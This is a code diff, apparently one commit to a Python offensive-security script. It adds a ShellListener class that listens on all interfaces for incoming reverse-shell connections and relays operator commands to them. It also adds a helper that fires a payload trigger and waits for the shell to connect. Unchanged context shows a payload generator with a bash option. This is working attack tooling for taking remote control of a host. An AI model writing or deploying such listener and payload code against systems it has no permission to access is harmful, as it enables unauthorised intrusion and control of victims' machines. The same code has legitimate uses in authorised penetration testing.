|
9 | 9 | import readline
|
10 | 10 | import base64
|
11 | 11 |
|
| 12 | +class ShellListener: |
| 13 | + |
| 14 | + def __init__(self, addr, port): |
| 15 | + self.listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| 16 | + self.bind_addr = addr |
| 17 | + self.port = port |
| 18 | + self.on_message = None |
| 19 | + self.listen_thread = None |
| 20 | + self.connection = None |
| 21 | + |
| 22 | + def startBackground(self): |
| 23 | + self.listen_thread = threading.Thread(target=self.start) |
| 24 | + self.listen_thread.start() |
| 25 | + return self.listen_thread |
| 26 | + |
| 27 | + def start(self): |
| 28 | + self.running = True |
| 29 | + self.listen_socket.bind((self.bind_addr, self.port)) |
| 30 | + self.listen_socket.listen() |
| 31 | + while self.running: |
| 32 | + self.connection, addr = self.listen_socket.accept() |
| 33 | + with self.connection: |
| 34 | + print("[+] Got connection:", addr) |
| 35 | + while self.running: |
| 36 | + data = self.connection.recv(1024) |
| 37 | + if not data: |
| 38 | + break |
| 39 | + if self.on_message: |
| 40 | + self.on_message(data) |
| 41 | + |
| 42 | + print("[-] Disconnected") |
| 43 | + self.connection = None |
| 44 | + |
| 45 | + def close(self): |
| 46 | + self.running = False |
| 47 | + self.sendline("exit") |
| 48 | + self.listen_socket.close() |
| 49 | + |
| 50 | + def send(self, data): |
| 51 | + if self.connection: |
| 52 | + if isinstance(data, str): |
| 53 | + data = data.encode() |
| 54 | + self.connection.sendall(data) |
| 55 | + |
| 56 | + def sendline(self, data): |
| 57 | + if isinstance(data, str): |
| 58 | + data = data.encode() |
| 59 | + data += b"\n" |
| 60 | + return self.send(data) |
| 61 | + |
| 62 | + def print_message(self, data): |
| 63 | + sys.stdout.write(data.decode()) |
| 64 | + sys.stdout.flush() |
| 65 | + |
| 66 | + def interactive(self): |
| 67 | + self.on_message = lambda x: self.print_message(x) |
| 68 | + while self.running and self.connection is not None: |
| 69 | + self.sendline(input()) |
| 70 | + |
12 | 71 | def generatePayload(type, local_address, port):
|
13 | 72 |
|
14 | 73 | if type == "bash":
|
@@ -47,6 +106,13 @@ def _wait_and_exec():
|
47 | 106 | threading.Thread(target=_wait_and_exec).start()
|
48 | 107 | spawn_listener(port)
|
49 | 108 |
|
| 109 | +def triggerShellBackground(func, port): |
| 110 | + listener = ShellListener("0.0.0.0", port) |
| 111 | + listener.startBackground() |
| 112 | + threading.Thread(target=func).start() |
| 113 | + while listener.connection is None: |
| 114 | + time.sleep(0.5) |
| 115 | + return listener |
50 | 116 |
|
51 | 117 | if __name__ == "__main__":
|
52 | 118 |
|
|
0 commit comments